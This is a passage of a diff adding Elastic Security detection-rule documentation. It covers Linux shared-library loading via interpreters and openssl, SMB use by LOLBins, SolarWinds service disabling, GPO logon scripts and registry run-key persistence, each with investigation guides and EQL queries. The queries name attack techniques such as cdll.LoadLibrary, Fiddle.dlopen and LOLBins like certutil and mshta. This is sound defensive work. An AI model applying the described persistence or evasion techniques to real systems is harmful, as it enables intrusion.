cron jobs, systemd services or timers, and any wrapper scripts that relaunch `openssl -engine`, `python -c`, `ruby -e`, or shell commands to load the malicious library. +- Reset credentials and revoke secrets used on the host, including SSH keys, API tokens, and service-account passwords, if the library executed under a privileged account or accessed authentication material, browser data, or configuration files with embedded secrets. +- Restore the host to a known-good state by rebuilding from a trusted image or reinstalling verified packages, then validate that no unapproved libraries, altered loader settings, or attacker-added binaries remain on disk before returning the system to production. +- Escalate to incident response immediately if the same library hash or path is present on multiple hosts, the load occurred as `root`, or the host showed follow-on behavior such as new persistence, remote command execution, or suspicious outbound network connections. +- Harden the environment by restricting plugin and engine loads to approved library directories, enforcing package integrity checks, monitoring for changes to preload files and service definitions, and applying SELinux or AppArmor policies that prevent scripts and LoLBins from loading shared objects from user-writable paths. + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from one of the following integrations: +- Elastic Defend +- Auditbeat +- Auditd Manager +- CrowdStrike + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and +event.action in ("exec", "exec_event", "executed", "process_started", "start", "ProcessRollup2") and +process.parent.name != null and +( + (process.name == "bash" and process.args == "-c" and process.args like "* enable *-f*.so*") or + (process.name == "openssl" and process.args == "-engine" and process.args like "*.so*") or + (process.name like "python*" and process.args == "-c" and process.args like "*cdll.LoadLibrary*.so*") or + (process.name like "ruby*" and process.args == "-e" and process.args like "*Fiddle.dlopen*.so*") or + (process.name in ("gdb", "gimp", "rview", "rvim", "view", "vim", "vimdiff") and + process.args like "*cdll.LoadLibrary*.so*") or + (process.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") and + process.args == "-c" and process.args like ("*cdll.LoadLibrary*.so*", "*ruby*-e**Fiddle.dlopen*.so*") + ) +) and +not ( + ?process.parent.executable like ( + "/root/.cache/bazel/_bazel_root/install/*", "/opt/Xilinx/PetaLinux/*", "/usr/bin/find", "/bin/find", + "/opt/nessus_agent/sbin/nessus-agent-module", "/sw/eb/sw/Python/*/bin/python*" + ) or + process.parent.name in ("make", "process-wrapper", "bwrap") or + (process.name like "python*" and ?process.command_line like~ "*import torch*torchinductor*") or + ?process.command_line like "*https://github.com/community-scripts/ProxmoxVE/raw/main/LICENSE*" +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-smb-connections-via-lolbin-or-untrusted-process.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-smb-connections-via-lolbin-or-untrusted-process.asciidoc new file mode 100644 index 0000000000..7ad10b471e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-smb-connections-via-lolbin-or-untrusted-process.asciidoc @@ -0,0 +1,188 @@ +[[prebuilt-rule-8-19-36-smb-connections-via-lolbin-or-untrusted-process]] +=== SMB Connections via LOLBin or Untrusted Process + +Identifies potentially suspicious processes that are not trusted or living-off-the-land binaries (LOLBin) making Server Message Block (SMB) network connections over port 445. Windows File Sharing is typically implemented over SMB, which communicates between hosts using port 445. Legitimate connections are generally established by the kernel (PID 4). This rule helps to detect processes that might be port scanners, exploits, or user-level processes attempting lateral movement within the network by leveraging SMB connections. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process-* +* logs-endpoint.events.network-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/security-labs/elastic-protects-against-data-wiper-malware-targeting-ukraine-hermeticwiper +* https://www.elastic.co/security-labs/hunting-for-lateral-movement-using-event-query-language + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Lateral Movement +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Threat: Living off the Land +* Rule Type: Event Correlation (EQL) +* Platform: Windows +* Resources: Osquery + +*Version*: 119 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Performance* + + +This rule may have low to medium performance impact due to filtering for LOLBins processes starting, followed by network connections over port 445. Additional filtering is applied to reduce the volume of matching events and improve performance. + + +*Investigating SMB Connections via LOLBin or Untrusted Process* + + +This rule looks for unexpected processes or LOLBins making network connections over port 445. Windows file sharing is typically implemented over Server Message Block (SMB), which communicates between hosts using port 445. When legitimate, these network connections are established by the kernel (PID 4). Occurrences of non-system processes using this port can indicate port scanners, exploits, and tools used to move laterally on the environment. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Contact the account owner and confirm whether they are aware of this activity. +- Investigate any abnormal behavior by the subject process such as network connections, registry or file modifications, and any spawned child processes. +- Examine the host for derived artifacts that indicate suspicious activities: + - Analyze the process executable using a private sandboxed analysis system. + - Observe and collect information about the following activities in both the sandbox and the alert subject host: + - Attempts to contact external domains and addresses. + - Use the Elastic Defend network events to determine domains and addresses contacted by the subject process by filtering by the process' `process.entity_id`. + - Examine the DNS cache for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve DNS Cache","query":"SELECT * FROM dns_cache"}} + - Use the Elastic Defend registry events to examine registry keys accessed, modified, or created by the related processes in the process tree. + - Examine the host services for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve All Services","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services"}} + - !{osquery{"label":"Osquery - Retrieve Services Running on User Accounts","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services WHERE\nNOT (user_account LIKE '%LocalSystem' OR user_account LIKE '%LocalService' OR user_account LIKE '%NetworkService' OR\nuser_account == null)\n"}} + - !{osquery{"label":"Osquery - Retrieve Service Unsigned Executables with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, name, description, start_type, status, pid,\nservices.path FROM services JOIN authenticode ON services.path = authenticode.path OR services.module_path =\nauthenticode.path JOIN hash ON services.path = hash.path WHERE authenticode.result != 'trusted'\n"}} + - Retrieve the files' SHA-256 hash values using the PowerShell `Get-FileHash` cmdlet and search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. +- Investigate potentially compromised accounts. Analysts can do this by searching for login events (for example, 4624) to the target host after the registry modification. + + + +*False positive analysis* + + +- If this rule is noisy in your environment due to expected activity, consider adding exceptions — preferably with a combination of user and command line conditions. +- In hybrid environments, SMB may be used for legitimate purposes if operations are performed in Azure. In such cases, consider adding exceptions for known Azure services and operations. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by process.entity_id with maxspan=1m + + /* first sequence to capture the start of Windows processes */ + [process where host.os.type == "windows" and event.type == "start" and process.pid != 4 and + ( + (process.code_signature.trusted == false or process.code_signature.exists == false) or + ( + process.code_signature.trusted == true and process.code_signature.subject_name : "Microsoft*" and + ( + process.name : ( + "powershell.exe", "pwsh.exe", "powershell_ise.exe", "telnet.exe", "ssh.exe", "curl.exe", "wsmprovhost.exe", + "net.exe", "net1.exe", "sc.exe", "cmd.exe", "rundll32.exe", "wmic.exe", "certutil.exe", "bitsadmin.exe", + "mshta.exe", "regsvr32.exe", "cscript.exe", "wscript.exe", "msiexec.exe" + ) or + process.pe.original_file_name : ( + "PowerShell.EXE", "pwsh.dll", "powershell_ise.EXE", "telnetc.exe", "ssh.exe", "curl.exe", "wsmprovhost.exe", + "net.exe", "net1.exe", "sc.exe", "Cmd.Exe", "RUNDLL32.EXE", "wmic.exe", "CertUtil.exe", "bitsadmin.exe", + "MSHTA.EXE", "REGSVR32.EXE", "cscript.exe", "wscript.exe", "msiexec.exe" + ) + ) + ) + ) and + /* ignore NT Authority and Network Service accounts */ + not user.id in ("S-1-5-19", "S-1-5-20") and + + /* filter out PowerShell scripts from Windows Defender ATP */ + not ( + process.name : "powershell.exe" and + process.args :"?:\\ProgramData\\Microsoft\\Windows Defender Advanced Threat Protection\\Downloads\\PSScript_*.ps1")] + + /* second sequence to capture network connections over port 445 related to SMB */ + [network where host.os.type == "windows" and destination.port == 445 and process.pid != 4] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Sub-technique: +** Name: SMB/Windows Admin Shares +** ID: T1021.002 +** Reference URL: https://attack.mitre.org/techniques/T1021/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-solarwinds-process-disabling-services-via-registry.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-solarwinds-process-disabling-services-via-registry.asciidoc new file mode 100644 index 0000000000..ac452d65d0 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-solarwinds-process-disabling-services-via-registry.asciidoc @@ -0,0 +1,183 @@ +[[prebuilt-rule-8-19-36-solarwinds-process-disabling-services-via-registry]] +=== SolarWinds Process Disabling Services via Registry + +Identifies a SolarWinds binary modifying the start type of a service to be disabled. An adversary may abuse this technique to manipulate relevant security services. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.registry-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-crowdstrike.fdr* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://cloud.google.com/blog/topics/threat-intelligence/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Tactic: Initial Access +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Profile: Recommended +* Threat: Supply Chain +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 320 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating SolarWinds Process Disabling Services via Registry* + + +SolarWinds software is integral for network management, often requiring deep system access. Adversaries may exploit this by altering registry settings to disable critical services, evading detection. The detection rule identifies changes to service start types by specific SolarWinds processes, flagging potential misuse aimed at disabling security defenses. This proactive monitoring helps mitigate risks associated with unauthorized registry modifications. + + +*Possible investigation steps* + + +- Review the process name involved in the alert to confirm it matches one of the specified SolarWinds processes, such as "SolarWinds.BusinessLayerHost*.exe" or "NetFlowService*.exe". +- Examine the registry path in the alert to ensure it corresponds to the critical service start type locations, such as "HKLM\\SYSTEM\\*ControlSet*\\Services\\*\\Start". +- Check the registry data value to verify if it has been set to "4" (disabled), indicating a potential attempt to disable a service. +- Investigate the timeline of the registry change event to identify any preceding or subsequent suspicious activities on the host. +- Correlate the alert with other security logs or alerts from data sources like Sysmon or Microsoft Defender XDR to identify any related malicious activities or patterns. +- Assess the impacted service to determine its role in security operations and evaluate the potential impact of it being disabled. +- Contact the system owner or administrator to verify if the registry change was authorized or part of a legitimate maintenance activity. + + +*False positive analysis* + + +- Routine updates or maintenance by SolarWinds software may trigger registry changes. Verify if the process corresponds to a scheduled update or maintenance task and consider excluding these specific processes during known maintenance windows. +- Legitimate configuration changes by IT administrators using SolarWinds tools can appear as registry modifications. Confirm with the IT team if the changes align with authorized configuration activities and create exceptions for these known activities. +- Automated scripts or tools that utilize SolarWinds processes for legitimate network management tasks might cause false positives. Review the scripts or tools in use and whitelist them if they are verified as safe and necessary for operations. +- Temporary service modifications for troubleshooting purposes by SolarWinds processes can be mistaken for malicious activity. Ensure that any troubleshooting activities are documented and create temporary exceptions during these periods. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized registry modifications and potential lateral movement by the adversary. +- Terminate any suspicious SolarWinds processes identified in the alert, such as "SolarWinds.BusinessLayerHost*.exe" or "NetFlowService*.exe", to halt any ongoing malicious activity. +- Restore the registry settings for the affected services to their original state, ensuring that critical security services are re-enabled and configured to start automatically. +- Conduct a thorough review of the affected system for additional signs of compromise, including unauthorized user accounts, scheduled tasks, or other persistence mechanisms. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine the scope of the breach. +- Implement enhanced monitoring on the affected system and similar environments to detect any future unauthorized registry changes, leveraging data sources like Sysmon and Microsoft Defender XDR. +- Review and update access controls and permissions for SolarWinds processes to limit their ability to modify critical system settings, reducing the risk of future exploitation. + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-reg-setup[Sysmon Registry Events] + + +==== Rule query + + +[source, js] +---------------------------------- +registry where host.os.type == "windows" and event.type == "change" and registry.value : "Start" and + process.name : ( + "SolarWinds.BusinessLayerHost*.exe", + "ConfigurationWizard*.exe", + "NetflowDatabaseMaintenance*.exe", + "NetFlowService*.exe", + "SolarWinds.Administration*.exe", + "SolarWinds.Collector.Service*.exe", + "SolarwindsDiagnostics*.exe" + ) and + registry.path : "*\\SYSTEM\\*ControlSet*\\Services\\*\\Start" and + registry.data.strings : ("4", "0x00000004") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Registry +** ID: T1112 +** Reference URL: https://attack.mitre.org/techniques/T1112/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Supply Chain Compromise +** ID: T1195 +** Reference URL: https://attack.mitre.org/techniques/T1195/ +* Sub-technique: +** Name: Compromise Software Supply Chain +** ID: T1195.002 +** Reference URL: https://attack.mitre.org/techniques/T1195/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-startup-logon-script-added-to-group-policy-object.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-startup-logon-script-added-to-group-policy-object.asciidoc new file mode 100644 index 0000000000..374ba2cf7a --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-startup-logon-script-added-to-group-policy-object.asciidoc @@ -0,0 +1,167 @@ +[[prebuilt-rule-8-19-36-startup-logon-script-added-to-group-policy-object]] +=== Startup/Logon Script added to Group Policy Object + +Detects the modification of Group Policy Objects (GPO) to add a startup/logon script to users or computer objects. + +*Rule type*: eql + +*Rule indices*: + +* logs-system.security* +* logs-windows.forwarded* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/atc-project/atc-data/blob/master/docs/Logging_Policies/LP_0025_windows_audit_directory_service_changes.md +* https://github.com/atc-project/atc-data/blob/f2bbb51ecf68e2c9f488e3c70dcdd3df51d2a46b/docs/Logging_Policies/LP_0029_windows_audit_detailed_file_share.md +* https://github.com/ReversecLabs/SharpGPOAbuse + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Data Source: Active Directory +* Resources: Investigation Guide +* Use Case: Active Directory Monitoring +* Data Source: Windows Security Event Logs +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 219 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Startup/Logon Script added to Group Policy Object* + + +Group Policy Objects (GPOs) can be used by attackers to instruct arbitrarily large groups of clients to execute specified commands at startup, logon, shutdown, and logoff. This is done by creating or modifying the `scripts.ini` or `psscripts.ini` files. The scripts are stored in the following paths: + - `\Machine\Scripts\` + - `\User\Scripts\` + + +*Possible investigation steps* + + +- This attack abuses a legitimate mechanism of Active Directory, so it is important to determine whether the activity is legitimate and the administrator is authorized to perform this operation. +- Retrieve the contents of the `ScheduledTasks.xml` file, and check the `` and `` XML tags for any potentially malicious commands or binaries. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Scope which objects may be compromised by retrieving information about which objects are controlled by the GPO. + + +*False positive analysis* + + +- Verify if the execution is legitimately authorized and executed under a change management process. + + +*Related rules* + + +- Group Policy Abuse for Privilege Addition - b9554892-5e0e-424b-83a0-5aef95aa43bf +- Scheduled Task Execution at Scale via GPO - 15a8ba77-1c13-4274-88fe-6bd14133861e + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- The investigation and containment must be performed in every computer controlled by the GPO, where necessary. +- Remove the script from the GPO. +- Check if other GPOs have suspicious scripts attached. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +The following Windows audit policies must be enabled to generate the events used by this rule: +- https://ela.st/audit-directory-service-changes[Audit Directory Service Changes] +- https://ela.st/audit-detailed-file-share[Audit Detailed File Share] + + +==== Rule query + + +[source, js] +---------------------------------- +any where host.os.type == "windows" and event.code in ("5136", "5145") and +( + ( + winlog.event_data.AttributeLDAPDisplayName : ( + "gPCMachineExtensionNames", + "gPCUserExtensionNames" + ) and + winlog.event_data.AttributeValue : "*42B5FAAE-6536-11D2-AE5A-0000F87571E3*" and + winlog.event_data.AttributeValue : ( + "*40B66650-4972-11D1-A7CA-0000F87571E3*", + "*40B6664F-4972-11D1-A7CA-0000F87571E3*" + ) + ) or + ( + winlog.event_data.ShareName : "\\\\*\\SYSVOL" and + winlog.event_data.RelativeTargetName : ("*\\scripts.ini", "*\\psscripts.ini") and + winlog.event_data.AccessList:"*%%4417*" + ) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Domain or Tenant Policy Modification +** ID: T1484 +** Reference URL: https://attack.mitre.org/techniques/T1484/ +* Sub-technique: +** Name: Group Policy Modification +** ID: T1484.001 +** Reference URL: https://attack.mitre.org/techniques/T1484/001/ +* Technique: +** Name: Boot or Logon Autostart Execution +** ID: T1547 +** Reference URL: https://attack.mitre.org/techniques/T1547/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Boot or Logon Initialization Scripts +** ID: T1037 +** Reference URL: https://attack.mitre.org/techniques/T1037/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-startup-or-run-key-registry-modification.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-startup-or-run-key-registry-modification.asciidoc new file mode 100644 index 0000000000..a145c7fe25 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-startup-or-run-key-registry-modification.asciidoc @@ -0,0 +1,211 @@ +[[prebuilt-rule-8-19-36-startup-or-run-key-registry-modification]] +=== Startup or Run Key Registry Modification + +Identifies run key or startup key registry modifications. In order to survive reboots and other system interrupts, attackers will modify run keys within the registry or leverage startup folder items as a form of persistence. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.registry-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/security-labs/elastic-security-uncovers-blister-malware-campaign + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Persistence +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows +* Resources: Osquery + +*Version*: 123 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Startup or Run Key Registry Modification* + + +Adversaries may achieve persistence by referencing a program with a registry run key. Adding an entry to the run keys in the registry will cause the program referenced to be executed when a user logs in. These programs will executed under the context of the user and will have the account's permissions. This rule looks for this behavior by monitoring a range of registry run keys. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Validate if the activity is not related to planned patches, updates, network administrator activity, or legitimate software installations. +- Assess whether this behavior is prevalent in the environment by looking for similar occurrences across hosts. +- Examine the host for derived artifacts that indicate suspicious activities: + - Analyze the process executable using a private sandboxed analysis system. + - Observe and collect information about the following activities in both the sandbox and the alert subject host: + - Attempts to contact external domains and addresses. + - Use the Elastic Defend network events to determine domains and addresses contacted by the subject process by filtering by the process' `process.entity_id`. + - Examine the DNS cache for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve DNS Cache","query":"SELECT * FROM dns_cache"}} + - Use the Elastic Defend registry events to examine registry keys accessed, modified, or created by the related processes in the process tree. + - Examine the host services for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve All Services","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services"}} + - !{osquery{"label":"Osquery - Retrieve Services Running on User Accounts","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services WHERE\nNOT (user_account LIKE '%LocalSystem' OR user_account LIKE '%LocalService' OR user_account LIKE '%NetworkService' OR\nuser_account == null)\n"}} + - !{osquery{"label":"Osquery - Retrieve Service Unsigned Executables with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, name, description, start_type, status, pid,\nservices.path FROM services JOIN authenticode ON services.path = authenticode.path OR services.module_path =\nauthenticode.path JOIN hash ON services.path = hash.path WHERE authenticode.result != 'trusted'\n"}} + - Retrieve the files' SHA-256 hash values using the PowerShell `Get-FileHash` cmdlet and search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. +- Investigate potentially compromised accounts. Analysts can do this by searching for login events (for example, 4624) to the target host after the registry modification. + + + +*False positive analysis* + + +- There is a high possibility of benign legitimate programs being added to registry run keys. This activity could be based on new software installations, patches, or any kind of network administrator related activity. Before undertaking further investigation, verify that this activity is not benign. + + +*Related rules* + + +- Suspicious Startup Shell Folder Modification - c8b150f0-0164-475b-a75e-74b47800a9ff +- Persistent Scripts in the Startup Directory - f7c4dc5a-a58d-491d-9f14-9b66507121c0 +- Startup Folder Persistence via Unsigned Process - 2fba96c0-ade5-4bce-b92f-a5df2509da3f +- Startup Persistence by a Suspicious Process - 440e2db4-bc7f-4c96-a068-65b78da59bde + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +==== Rule query + + +[source, js] +---------------------------------- +registry where host.os.type == "windows" and event.type == "change" and + registry.data.strings != null and registry.hive : ("HKEY_USERS", "HKLM") and + registry.path : ( + /* Machine Hive */ + "HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\*", + "HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\*", + "HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx\\*", + "HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\\*", + "HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Shell\\*", + /* Users Hive */ + "HKEY_USERS\\*\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\*", + 